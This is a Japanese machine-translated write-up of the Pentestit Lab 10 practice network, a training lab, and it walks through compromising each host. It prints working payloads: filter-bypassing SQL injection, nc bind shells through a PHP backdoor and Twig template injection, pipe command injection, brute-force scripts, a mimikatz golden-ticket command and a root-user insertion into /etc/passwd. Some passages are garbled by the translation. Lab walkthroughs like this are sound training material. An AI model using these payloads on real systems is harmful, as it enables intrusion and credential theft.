グローバルデータセキュリティでのPentest-第10回Pentestitラボウォークスルー



Pentestit Labsは多くの人々の伝統となっています。 毎年5月と11月に別の研究所が開設され、世界中の何千人もの愛好家が新しい仮想銀行、ソフトウェア開発者、またはISサービスプロバイダーのネットワークを侵害する最初の日になるまで何日も眠りません。

次回の11月25日に、今回は第10研究所が立ち上げられ、参加者は、情報セキュリティ分野のソフトウェア開発者である架空の会社Global Data Securityのネットワークに侵入するように求められました。

ちょうど11日後の12月6日、研究室は、グローバルデータセキュリティネットワークの脆弱な各ノードにアクセスでき、特別なトークン(Pentestit Webサイトのコントロールパネルに入力する必要のある文字と数字の組み合わせ)を見つけた最初の参加者に合格しました。

まだ研究室を取り上げる時間がなかった人のために、それは2017年5月までアクティブになり、その後既に発表された11番目の研究室に置き換えられます。 それまでの間、この記事では、2016年末にペンテストスキルを磨き、現在の脆弱性について詳しく知りたいすべての人のために、現在の研究室を通過するすべての段階について説明します。 記事は長いことが判明しましたが、できれば興味深いものです。

免責事項
私はPentestitの従業員でも関連会社でもありません。 このドキュメントでは、研究室でのタスクを解決するために行った手順について説明します。 私の個人的な推奨事項と好みは、Pentestitの公式意見とはまったく関係ありません。

このドキュメントのすべての情報は、教育目的でのみ提供されています。 この文書を読み続けることで、あなたはこの情報を違法な目的に使用しないことに同意し、あなたとあなただけがこの文書から得られた行動または知識に対して完全に責任があることを確認します。 このドキュメントの作成者とPentestitは、このドキュメントを読んだ結果得られた知識と方法を使用した結果として誰かに生じた損害について責任を負いません。

実験室への接続


開始する前に、ラボに登録し、VPN接続を設定して、仮想会社Global Data Securityのネットワークに接続する必要があります。

ここに登録 、接続するためにこれらの指示に従ってください

テストのために、 Kali Linuxを仮想マシンにインストールできます。これは、ペンテスター向けの特別なLinuxディストリビューションで、作業に必要なものがすべて揃っています。 あなたがそうしていなければ、今がその時です。

テストを開始


登録と接続後、次のネットワーク図が表示されます。


私たちの前には、192.168.101.9のIPアドレスを持つゲートウェイがあります-会社の外部ゲートウェイです。 会社、その従業員、製品、サービス、パブリックサイトおよびサブドメインなどに関する受動的および能動的な情報収集でペンテストを開始すると便利です。

受動的な情報収集とは、会社のサーバーに直接連絡するのではなく、Google、LinkedIn、data.com、GitHubなどの公的に利用可能なソースで情報を見つけようとすることを意味します。 多くの場合、多くの興味深いものを見つけることができます:従業員の名前は、内部ネットワークでログインを指示します。GitHubでは、会社の製品またはインフラストラクチャの内部構造をよりよく知るのに役立つソーステキストを見つけることができます。

残念ながら、この場合、情報の受動的な収集では望ましい結果が得られませんでした(ただし、 以前のラボではSSHタスクで非常に有用でした)ので、情報の能動的な収集、つまり、利用可能な会社のリソースとの直接的なやり取りが必要になります。

情報を収集します


ゲートウェイを介してアクセス可能なポートをスキャンすることから始めます。



残りのTCPポートとUDPポートをスキャンすることも役立ちます。これらはしばしば忘れられますが、内部VPN(例: 実験室#8 )などの多くのサービスがあります。 これは演習として残しますが、ここでは、すでに見つかった情報に集中します。

その結果、SSHサーバー、SMTPメールサーバー、2つのサイト、およびポート8100でのCommuniGate Proの形式の従業員用のWebインターフェイスへのアクセスが可能になりました。まず、サイトの調査から始めましょう。

192.168.101.9にアクセスしようとすると、store.gds.labドメインへのリダイレクトを取得します。 どうやら、この仮想ホストを介してサイトにアクセスでき、サイトに自動的にリダイレクトされます。 / etc / hostsに必要な行を追加します。



念のため、gds.labも追加しました。 これでサイトが利用可能になりました:


OpenCartをベースにした店舗になる前に、次のことがわかります。



同時に、それを攻撃するさまざまな試み(たとえば、XSSを見つけるか、OpenCartにある脆弱性の 1つを使用する)がこのページにつながります。


どうやら、サイトはWebアプリケーションファイアウォールを使用して保護されています。 全体として、少しの偵察の後、次の情報に気付きました。


仮想ホストgds.labを使用してポート80にアクセスしてみましょう。



興味深いことに、別のリソース、ownCloudファイルホスティングを利用できます。 ページとメッセージのソースコードを検討した結果、正しい仮想ホストはcloud.gds.labであることがわかりました。 hostsファイルに適切な変更を加えた後、ユーザー名とパスワードを試す機会を得ます。



いいね! いくつかの組み合わせを手動で試したところ、標準のパスワードは適切ではないことがわかりました。 同時に、OwnCloudには興味深い機能があります。パスワードが間違っている場合はパスワードをリセットでき、必要なアカウントが存在するかどうかによって異なるメッセージが表示されます。

アカウントがない場合:



アカウントが登録されている場合:



パスワードを取得することはできないため、見つかったユーザー名を記憶し、情報を収集し続けます。今回は次のポートである443に進みます。

192.168.101.9は 、残念ながら、https経由ではアクセスできず、次の形式のメッセージが表示されます。

An error occurred during a connection to 192.168.101.9. SSL received a record that exceeded the maximum permissible length. Error code: SSL_ERROR_RX_RECORD_TOO_LONG 

どうやらSSLで何か。 サイトの構成が不十分で、HTTP経由でアクセスできます。



どうやら、これは会社のメインサイトです。 最初のトークンを取得してみましょう!

学習site


サイトのページを慎重に調査した結果、明らかにGDSの開発者によって作成されたものであり、WordPressのような既製のCMSを使用していないことがわかりました。

多くの脆弱性がユーザー入力に関連しているので、利用可能なエントリポイントを見てみましょう。 住所を見つける:

 http://192.168.101.9:443/post.php?id=1 

最後に引用符を1つ追加すると、サイトのメインページにリダイレクトされますが、2つある場合は-いいえ。 SQLインジェクションのように見えます。 少し実験してみると、条件が括弧内にあることがわかります。

 http://192.168.101.9:443/post.php?id=1') -- - 

同時に、UNION SELECTを追加しようとしても成功しません。明らかに、サイトにはSQLインジェクション用のフィルターがあります。 標準の大文字と小文字を区別する手法を使用して、それを回避してみましょう。

 http://192.168.101.9:443/post.php?id=-1') UNiOn SeLect 1, @@veRsiOn -- - 

テーブルを取得します。

 http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(TabLe_nAmE) FroM InfOrMatIoN_scHemA.TabLes WheRe TabLe_sCheMa=database() -- - 

次に、フィールド:

 http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(ColUmN_nAmE) FroM InfOrMatIoN_scHemA.ColuMns WheRe TabLe_NaME='users' -- - 

そして、ユーザー名とパスワードのハッシュ:

 http://192.168.101.9:443/post.php?id=-1') UNiOn alL (seLeCT usErNAme, pAssWoRd FroM users liMIT 0,1) -- - 



hashcat(GPUを使用する場合は仮想マシンの外部が望ましい)を使用してパスワードを回復します( SecLists辞書を強くお勧めします)。


わかった! dirsearchを使用して、/ adminフォルダーに管理インターフェイスを見つけます。



そこで見つかったユーザー名とパスワードを入力すると、最初のトークンが取得されます。



--tamper = randomcaseオプションを有効にしたSQLMapでも同じ結果が得られますが、いずれにしても最後のクエリを手動で実行する必要があります。

mail取る


サイトの調査中、調査プロセスで見つかったすべての情報に注意を払います。 情報の収集を停止せず、見つかったすべての機能を記録し続けることが非常に重要です。

特に、お問い合わせページには、2つのアカウントに関する情報があります。



また、メインページには他の人へのリンクがあります。



その結果、メールサーバー用に3つのアカウントを取得します。

これらのユーザーのいずれかが辞書パスワードを使用しているかどうかを確認します。



ユーザーa.modlinのパスワードを取得することが判明しました。 ポート8100でWebベースのメールインターフェイスを使用します。



これが次のトークンであると同時に、Joshua WiseからのAndroidアプリケーションと次の内容の手紙です。



IPアドレスとネットワーク図から判断すると、これを将来のために覚えておきましょう。このアプリケーションはssh-testトークンに役立ちます。

現時点では、サイト(ポート443)を慎重に検討し、それを使用して2つのトークンを取得しました。さらに、80番目のポートで2つの仮想ホスト(store.gds.labとcloud.gds.lab)を見つけました。 後者はWAFによって保護されているため、可能なオプションが豊富にあるにもかかわらず、ロックが継続しているために脆弱性を見つけることはできませんでした。

内部ネットワークにアクセスして、そこから続行してみましょう。

SSHサーバー


多くの場合、ユーザーは異なるサービスで同じパスワードを使用します。 サイトにあるパスワードを使用して、e.lindseyからSSHサーバーにアクセスしてみましょう。



わかった! ホストにはnmapがあり、内部ネットワーク全体を利用できます。 トークンを探して、すべてがそれほど単純ではないことを理解しています。

サーバーには多くの興味深いものがあります。 とりわけ、以下を見つけます。

Linuxマシンを悪用した場合の非常に便利な手順については、 こちらをご覧ください 。 この場合、SSHサーバーでの権限昇格は、実験室の作成者が意図したものではありませんが、いずれの場合でも、追加のスクリプト、構成設定、Webサイト、スケジューラーのタスク、接続されたファイルシステムなどのコンテンツを調査することは非常に便利です。

サイトの構成にトークンがない場合、/ data / usersフォルダーに集中します。



ご覧のとおり、rビットはありませんが、xビットが存在します。つまり、フォルダーの内容を入力して操作することはできますが、そのリストは表示できません。 ウェブ上で同じタスク(ディレクトリリストがほとんど常に無効になっている場所)に直面すると、dirbやdirsearchなどのユーティリティを使用します。これらのユーティリティは、ディクショナリ内のファイルを開き、多くの組み合わせをソートします。 ここでも同じことを試してみましょう。dirbから辞書を使用できます。

辞書で必要なサブディレクトリとファイルを再帰的に試す小さなスクリプトを作成しましょう。

 """Importing os to access file system""" import os PATH = "/data/users/" DICC = "/var/tmp/common.txt" def attempt_path(path): """Check if file or directory exists and print out the result. Return true if directory""" if os.path.isfile(path): print "Found file : " + path return False if os.path.isdir(path): print "Found dir : " + path return True return False def look_for_subdirs(path): """Recursive function to look for dirs""" with open(DICC) as dicc: for line in dicc: curr_path = path + line.rstrip('\n') if attempt_path(curr_path): look_for_subdirs(curr_path + "/") look_for_subdirs(PATH) print "Finished" 

ここで、辞書を準備してsshサーバーにアップロードする必要があります。 1つの方法は、辞書とPythonコードをローカルWebサーバーに配置し、wgetを使用してそれらからダウンロードすることです。

/usr/share/dirb/wordlists/common.txt kaliにあるdirbから辞書を取得し、それにローカルユーザーの名前を追加すると同時に、token.txtファイルを追加します(どこかにあることを願っています)。





残念ながら、ホスト172.16.0.8からIPに直接アクセスできないため、SSHトンネルを使用します。



注意すべき点が2つあります。

最初に、「localhost:80」のリモート部分(つまり、ローカルKaliマシンのポート80にあるもの)をローカルポート(SSHサーバー用)8765に転送することにより、リモートポート転送を行います。このコマンドラインssh>を呼び出すことができます〜Cキーの組み合わせを押します(Shiftキーを押しながら〜を押してからCを押します)。

これで、ローカルWebサーバーがSSHホストで利用可能になりました。 プロキシサーバーはサーバーでデフォルトで有効になっています;ローカルポートの場合は、 unset削除する価値があります。

これで、スクリプトを実行する準備がすべて整いました。



フォルダー/data/users/rross/docs/ 、トークンとSSHキーrross-aが見つかりました。 さらに、ユーザーa.modlinのSSHキーがまだ見つかりました。 確かにそれらの1つがssh-testに適合します。 続けましょう!

ssh-testを扱いssh-test


mailトークンが見つかったとき、gds-authenticatorアプリケーションのバージョンが利用可能になりました。


Alfred Modlin宛ての手紙からわかるように、サーバーに入るにはキーまたはパスワード、および常に変化するSSHポート番号の2つの要素が必要です。 nmapを使用して開いているポートを簡単に見つけることができるため、2番目の要因の有効性は非常に疑わしいですが、それでもこのタスクを著者が提案する方法にします。 apkを解凍し、classes.dexを抽出します。



次に、同じ名前のユーティリティを使用して、dexをjarに変換します。



そして最後に、 JDデコンパイラを使用してソースを取得します。



  protected void setAuthCode() { String str = new HOTP().gen("WFLHQEBMJ3XLPDOY", (int)Math.floor(System.currentTimeMillis() / 1000L / 30L), 6); int i = Integer.parseInt(str.substring(-5 + str.length())); if (i > 65534) { i %= 65534; } TextView localTextView = (TextView)findViewById(2131492983); Object[] arrayOfObject = new Object[1]; arrayOfObject[0] = Integer.valueOf(i); localTextView.setText(String.format("%d", arrayOfObject)); } 

ご覧のとおり、HOTPクラスも使用されます。これは、apkでも使用でき、計算用のシードとミリ秒が指定されています。 必要に応じて自動的にこれを行う方法を学習するために、ポート番号を生成するコードを抽出してみましょう。



そして、コンパイルして実行します:



ポートがあり、1行でsshテストに接続するコマンドを書くために残っています。 /data/users/a.modlin/docs/keyをローカルフォルダーに/data/users/a.modlin/docs/keyを使用してKaliマシンから内部ネットワークにアクセスできるようにします。

sshuttle(貧乏人のVPNとも呼ばれます)は、iptablesルールを使用して、sshトンネルを介して内部サブネットを使用可能にします。 私たちは次のようにつながっています。



接続するbashスクリプトを作成しましょう。

 #!/bin/sh ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i key a.modlin@172.16.0.1 -p$(java Main) 

接続され、次のトークンが見つかります。



blog攻撃する


ネットワーク図から判断すると、同社のブログは192.168.0.4にあり、クイックポートスキャンにより、開いている80番目のポートの存在が確認されます。 sshuttleを介して接続し、ブログで見つけられるものを確認します。



Joomla!インストールのように見えます チェック:



そうです。 Jumlaの最近のセンセーショナルな脆弱性を試してみましょう。これにより、認証なしで管理者アカウントを作成できます。 このエクスプロイトを参照により使用することも、たとえばMetasploitのモジュールを使用することもできます。



目的のユーザーの下に移動します。



未公開の記事を検索:


そして、そのエイリアスをトークンの形で使用し、ブログは崩壊しました!

キャプチャの解析


192.168.0.7の captchaを備えたサーバーでは、多くは提供されません。画像がロードされていない空白のページだけです。 メインのソースコードを少し勉強した
ページ(以前にsshuttleを使用してsshに接続していた)について、次の結論を導き出すことができます。


これらのいずれも、次に何をすべきかについての直接的なガイダンスを提供しません。 dirsearchを使用すると、興味深いことがわかります。



robots.txtの内容に基づいて、隠されたbakファイルがあることを理解しています。これは明らかに最も興味深いものです。



同時に、readme.txtは、写真が生成されてからしばらくしてから削除されると言っています。

メインページから画像へのパスを取得します。

 http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.png 

非表示のbakファイルを探しているため、png拡張子をbakに置き換えてみてください。

 http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.bak 



どうやら、これは、ソースコードのバックアップコピーです。これは、シリアル化されたセッションを持つcaptchaファイルと、セッションGETパラメーターでコマンドを受け入れて実行するバックドアシェルを持つファイルがあることを示します。

残念ながら、もう一度入力すると、これ以上ファイルはありません。 彼はどこに行きましたか? readme.txtを思い出してください。しばらくすると削除されます。 何度か試行した結果、/ index.phpを入力するとファイルが再び使用可能になることがわかります。 captcha.bakやその他のファイルを常に利用できるようにするために、これを常に行う短いループを作成しましょう。

 while true; do curl -i -s -k -b 'PHPSESSID=et07feiohsrnaf11n0kt31rf83' http://192.168.0.7/; done 

ファイルが元の場所に戻りました。 ($_SESSION.php)?session=whoami 、コードをリモートで実行できることを確認します。



次に、ポート1234のホスト192.168.0.7でバインドシェルを作成します。

 http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/($_SESSION).php?session=nc -e /bin/sh -nvlp 1234 

そしてそれに接続します:



これが次のトークンです!

hall-of-fame


192.168.0.8で開いているポートを調べたところ、既知のハッカーの説明とログイン機能を備えたサイトが見つかりました。



サイトマップ、アクセス可能なディレクトリと隠しディレクトリを調べ、利用可能なユーザーを特定しようとすることから始めると便利です。 残念ながら、ログインフォームはよく知られた名前では機能しません。

http://192.168.0.8/index.php?hname=Jamesようなアドレスに注意が向けられhttp://192.168.0.8/index.php?hname=James 。これは、パラメーターがLFIタイプの脆弱性(ローカルファイルの包含)の例であることが判明する可能性があるためです。 dirsearchに切り替えて、隠しディレクトリを見つけようとします。



とりわけ、興味深いファイルが見つかりました:/backup/passwords.txt、および/ devサブフォルダーは、基本認証の背後で閉じられました。 ログインページでこれらのパスワードを使用します。



ログイン後、/ dev部分のパスワードを取得します。 それを使用して/ devに移動します。



内部には外部サイトのコピーがありますが、以前に疑われていたパラメーターhnameはサーバー側テンプレートインジェクションに対して脆弱です。 ご覧のとおり、{{7 * 7}}と入力すると、サーバーで計算されたページヘッダーに操作の結果(49)が表示されます。 RCEを取得しました。



攻撃自体は上記のリンクで詳細に調べることができ、バインドシェルを作成するためにペイロードをコンパイルしようとします。 最初に、ユーザー名を明確にします。



        bind shell: http://192.168.0.8/dev/index.php?hname={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc -nvlp 1234 -e /bin/sh")}} 

接続すると、次のトークンが見つかります!



newsを読む


news(192.168.0.5)-グローバルデータセキュリティの次のサイト。外見は殿堂に似ており、登録、ログイン、パスワードのリセット、内部ニュースの学習が可能です。

ログインフォームでは、電子メールとパスワードの入力を求められます。


すでに見つかったユーザー(a.modlin、e.lindseyなど)のログインとパスワードの既知の組み合わせをすべて試したところ、それらが登録されていないことがわかりました-間違った電子メールメッセージを受け取りました。 同時に、admin @ gds.labを入力しようとすると、間違ったパスワードという別のメッセージが表示されます。 これは、ユーザーadmin@gds.labが登録されていることを意味します。

Burp Suiteを使用して、admin @ gds.labのパスワードを見つけようとしますが、これは成功につながりません。 次に、再びdirsearchに目を向け、ニュースサイトに他に隠れているものを探します。



/ oldフォルダー、およびその中に古いバージョンのニュースサイトがあり、そこには「単純なユーザー」、つまりユーザーの存在を示唆する興味深いコメントがあります。



推測を確認しましょう。 / oldにログインしても何もおもしろいものにはなりませんが、user @ gds.labでユーザーパスワードを使用して新しいニュースサイトにアクセスすると、次のページが表示されます。



さて、トークンを取得するために管理者の下に行くことは残っています。 新しいページ-user_info.phpの存在について学習したばかりです。このページの古い部分を見てみましょう。



何度か試行した結果、このアドレスを使用して管理者としてログインしようとするとログインできなくなりますが、user_info.phpの出力は変更されることを理解しています。

 http://192.168.0.5/old/login_2.php?username=admin&password=admin 



それは、実際、私たちは入った! ただし、新しいuser_info.phpにより、内部に入ることができなくなりました。

これから、2つのサイトが同じセッションを使用していると結論付け、ユーザーに関する情報をそのセッションに保存できます。 どうやら、/古いを入力しようとすると、セッションのユーザー名フィールドにユーザー名が保存され、パスワードが正しくない場合は単にuser_info.phpにリダイレクトされません(正しいパスワードでログインに成功した後にのみユーザー名を保存するのではなく)。 /古いサイトにはこれで十分ですが、新しいサイトはまだメールを使用しているため、user_info.phpにアクセスできません。

adminユーザーのパスワードをリセットしてみましょう。

 http://192.168.0.5/password_restore_2.php?email=admin@gds.lab 

プログラマーがパスワードリセットフォームで同じ間違い(つまり、セッションで電子メールを保存した)を期待して、管理者としてログインするためにセッションで正しい電子メールアドレスを保存しようとします。

全体として、プロセス全体は次の手順で構成されます。

ログインに成功すると、トークンを取得します(下のスクリーンショットで切り取ります)。



そして今、ニュースは屈服しました!

web-controlを取得しweb-control


通常どおり、ポートスキャンから始めましょう。そのために、SSHホストで提供されているnmapを使用します。


80番目のポートを調べたところ、メールを収集するためのフォーム(さらには機能しません)、および/ uploadsフォルダー(興味深いものは何も見つかりませんでした)を除いて、興味深いものは見つかりませんでした。

非標準のポート1503に注目しましょう。これを調べるには、接続してみてください。

 nc 192.168.0.6 1503 



どうやら、ログインとパスワードの組み合わせを選択する必要があります。 ssh、殿堂、メールで私たちに知られているパスワードを試してみましたが、私たちはすべてがそれほど単純ではないことを理解し、小さなスクリプトを書く必要があります:

 """Sockets""" import socket WEB_CONTROL_HOST = '192.168.0.6' WEB_CONTROL_PORT = 1503 USER_FILE = '/root/pentestit/webc/users.txt' PASS_FILE = '/opt/SecLists/Passwords/john.txt' def recv_until(string, sock): """Receives data from socket until certain string is found""" data = "" while True: tmp = sock.recv(1) if tmp == "": break data += tmp if data.endswith(string): break return data def attempt_login(user, password): """Attempts to log in under a specified account""" # This should not connect every time and should be multi-threaded in an ideal world web_control = socket.socket(socket.AF_INET, socket.SOCK_STREAM) web_control.connect((WEB_CONTROL_HOST, WEB_CONTROL_PORT)) reply = recv_until("Enter login: ", web_control) web_control.send(user) reply = recv_until("Enter password: ", web_control) web_control.send(password) reply = web_control.recv(6) web_control.close() return "Error!" not in reply with open(USER_FILE) as user_file: for user_line in user_file: with open(PASS_FILE) as pass_file: for pass_line in pass_file: if attempt_login(user_line, pass_line): print "Success: " + user_line.rstrip('\n') + ":" + pass_line.rstrip('\n') 

ユーザーとして、sshで知っているアカウントといくつかの標準名を書きます。

 admin administrator root user k.barth m.howard g.leone j.wise s.locklear e.lindsey a.modlin 

スクリプトを実行して実行し、しばらくすると目的の結果が得られます。



わかった! 必要なログインとパスワードを入力した後、私たちはいくつかのスクリプトを起動するための自己記述ツールになったことを理解しています。

多くの脆弱性は、不十分に検証されたユーザー入力に関連しています。コマンドインジェクションを達成してみましょう。 入力がシステムに渡される場合、区切り文字-;、&、または|を使用して追加のコマンドを追加できます。 やってみましょう!



|を除くすべてがフィルター処理されますが、明らかに開発者が見逃していました。 チームの使用| nc -nvlp 1234 -e /bin/sh | nc -nvlp 1234 -e /bin/sh 、Webコントロールにバインドシェルを作成します。 これで、接続してトークンを見つけるだけになります。

 nc 192.168.0.6 1234 cat /var/opt/token.txt 

トークンstore


ネットワーク図からわかるように、ストアは2つのホスト-172.16.0.4(運用)と172.16.0.5(開発)で表されます。 さらに、ストアのコピーはsshホストの/ var / www /フォルダーにあります。

/ var / wwwの内容を検討して、次の結論を導き出します。

Hashcatは最近、OpenCart形式のハッシュを選択する機能を追加しました。 試してみましょう:

残念ながら、十分に大きな辞書でもパスワードを見つけることはできません。

私たちはストアと開発ストアに注意を向けます-おそらく彼らは追加の隠しファイルを持っているか、OpenCartの古い脆弱なバージョンを使用しています。 しばらくして、dev-storeマシンでのSQLインジェクションを発見しました。これはsshやstoreにはありませんでした。明らかに、 脆弱性を持つ古いバージョンがこのサーバーに残っていたようです。

確認するには、エントリを追加してhostsファイルを変更します。

 172.16.0.5 store.gds.lab 

SQLmapを実行します。
 sqlmap -u 'http://store.gds.lab/index.php?route=product/product&product_id=53*' --sql-shell 



dev-storeのデータベースにアクセスしました。 残念ながら、ファイルシステムへのアクセスは制限されています(/ etc / passwdの読み取りや、OUTFILEを介したファイルへの書き込みは機能しません)。したがって、トークンは直接データベースにあります。



そして今、店が奪われました!

win-term学習


さらに進むには、参加者は4日以上必要でしたが、いつものように、はちょうど開きました。 現時点では、3つのトークン( win-term, win-dc0cloudが未解決のままです。

Windowsターミナルとドメインコントローラー(DC0)のポートをスキャンした結果、追加のサービスは開いておらず、Windowsのバージョンは2008 R2であり、コード実行の取得を許可する既知の脆弱性は存在しません。 それにもかかわらず、win-termはRDPの脆弱性を使用してリロードできるため、更新プログラムが長時間インストールされていないと判断できます。 これは、マシンに入った後に管理者に特権をアップグレードすることはおそらくそれほど難しくないことを意味します。

辞書でパスワードを列挙しても、どのアカウントでも目的の結果が得られません。 念のため、以前に見つかった資格情報がドメインに存在することを確認してください。



すべてが整っています。この段階では、a.modlinとe.lindseyの2人のユーザーのパスワードがあります。e.lindseyのパスワードを変更して、標準のドメインポリシーに準拠し、大文字と小文字、数字が含まれるようにします。e.lindseyパスワードの最初の文字を大文字にすることから始めましょう。

 rdesktop 192.168.0.3 -u "GDS-OFFICE\\e.lindsey" -p "**********" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD 



接続できた!よく知られている脆弱性MS16-023を使用して、管理者の特権を増やしましょうこのコードをexeファイルとしてコンパイルしましたが、PowerShellでも実行できます。以下を開始します。



結果の管理コンソールで、別のユーザーを作成し、余分なファイルを削除して、ローカル管理者の下に移動します。

 rdesktop 192.168.0.3 -u "TermAdmin" -p "Admin123" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD 



管理者には、TrueCryptとキーを使用して暗号化されたディスクを接続するスクリプトがあります。 以下を開始します。



登場したドライブXには、キーを含むKeePassデータベース



があります。その中には、rrossアカウントからクラウドへのパスワードと、待望のトークンがあります。



ドメイン管理者の権利を取得します win-dc0


端末の内容を確認する引き続き、我々はバックアップディスクのドメインコントローラとフォルダを見つける:



サーバ管理コンソールにVHDファイルを添付:



次に、ファイルをコピーWindows\NTDS\Ntds.ditし、Windows\System32\config\SYSTEMローカルカーリー・マシンに新しく接続されたVHDで。



続行する前に、NTDS.ditテーブルを操作するための特別なユーティリティlibesedbおよびNTDSXtractをインストールして準備する必要があります次の方法でそれらをインストール/選択できます:

 cd /opt git clone https://github.com/libyal/libesedb.git cd libese/ apt-get install git autoconf automake autopoint libtool pkg-config build-essential ./synclibs.sh ./autogen.sh ./configure make make install cd .. git clone https://github.com/csababarta/ntdsxtract.git 

これですべて準備完了です。まず、使用してのNtds.ditから抽出テーブルesedbexport



NTDSXtract使用ntds.dit.exportたディレクトリに抽出ハッシュへ:



このコマンドの結果は、新しいフォルダのダンプで抽出されたハッシュnt.john.outファイルを取得/:



時々抽出された管理ハッシュからパスワードを回復できる場合は、ここで停止できます。この場合、これはバックアップであるため、パスワードは無効になります。したがって、Pass the Ticket(ptt)攻撃を使用します。この攻撃では、krbtgtアカウントのハッシュを使用して、いわゆるゴールデンチケットを生成します。

これを行うには、mimikatzをターミナルにダウンロードし、管理者権限で実行します。



ゴールデンチケットを作成するには、ドメインSID(lsadump::lsa上記のスクリーンショットのコマンドを使用して取得)、ドメイン管理者アカウント名(NTDS.ditから取得)、krbtgtアカウントのハッシュ(上記も取得)、および管理者が属するグループの名前(標準値:500、501、513、512、520、518、519)。

この情報を使用して、ゴールデンチケットを作成して適用します。

 kerberos::golden /domain:gds-office.lab /sid:S-1-5-21-421115581-889488229-2938181853 /rc4:1dc9bae0282962e7d761a2eda274e6d7 /id:500 /user:administrator /groups:500,501,513,512,520,518,519 /ptt 

次に、チケットを適用して別のcmd.exeを実行し、ドメインコントローラーのC $リソースへのアクセスを取得



します。トークンは次のとおりです。現時点では、このディスクのドメインに対する完全な管理者権限を持っているため、ドメインコントローラーで任意のコードを実行できます。これにより、通常、ペンテストの正常終了がマークされます。

この場合、攻撃は大幅に簡素化されました。ドメインコントローラーディスクのバックアップコピーがあり、同じmimikatzを含む攻撃のアクティブな検出がなく、必要なパッチもありませんでした。

最後のフロンティアは cloud


通常どおり、ポートスキャンから

開始します。ポート2222でSSHサービスを発見したら、ターミナルで見つかったrrossアカウントとパスワードを使用してそこにアクセスしようとします。

ご注意
, ownCloud ( ), - , sqlite ownCloud (http://cloud.gds.lab/data/owncloud.db), ( ). , SSH- rross , /data/users/ SSH, , , . 2222 , rross user enumeration timing attack. osueta .

40 — , OpenSSH , — . OpenSSH , , .

いずれにしても、トークンを正常に受信した後win-term、SSHにログインできるパスワードがあります。

興味深いことに、サーバーにアクセスするたびに、異なるlxcコンテナー(lxc1からlxc5)になります。



勉強した後、rrossユーザーの特権では何も興味深いものが得られないため、特権を上げる必要があることが明らかになります。

lxc1で権利管理の古典的なエラーが発生しました:



スクリプトclear_nginx_logs.shはroot権限で定期的に実行され、どのユーザーでも変更できます。システムに新しいユーザーを作成します。



ここでは、IDが0(ルート)である、ffおよびパスワード123(単純化のために廃止された形式でハッシュされています)という名前の新しいユーザーを/ etc / passwdに追加します。しばらくして、このユーザーの下に移動し、コンテナーへのフルアクセスを取得します。



ユーザーは追加されますが、コンテナーにはトークンがまだありません。コンテナーの外部に移動する必要があります。最近、NCCグループはこの主題に関する研究発表しました。 16ページの例は、ホストマシンのファイルシステムにアクセスできるエクスプロイトです。

コンテナでファイルをコンパイルして実行します。



最後に-最後に、ホストマシンのtoken.txtファイル



の最後のトークン最後のトークンが取得されます。

ntdsutil_snapshot.zipファイルに注意しましょう-ローカルコンピューターにコピーすると、別の方法でntds.ditおよびSYSTEMファイルのバックアップコピーを取得できます。ローカルSSHサービスをオンにして、コンテナーで使用可能にします。

 service ssh start 

次に、SSHを介してリモートポート転送を



行います



。scpを介してファイルをコピーします。解凍すると、win-dc0に対して同じntds.ditとSYSTEMが取得さ



れます。

ここにあるすべての資料は教育目的でのみ提供されているので、研究室の通過に関するコメントを歓迎します。特定の問題を解決するさまざまな方法について、できるだけ多くの人に学んでもらいます。

実験室を通過し、ネットワーク上のすべてのマシンを使用する喜びを経験する時間がなかった人々に幸運を祈ります。

Pentestitの優れた研究室に感謝します-それは面白かったです。

よろしくお願いします! 2017年5月に第11研究所を待っています。

Source: https://habr.com/ru/post/J317322/


All Articles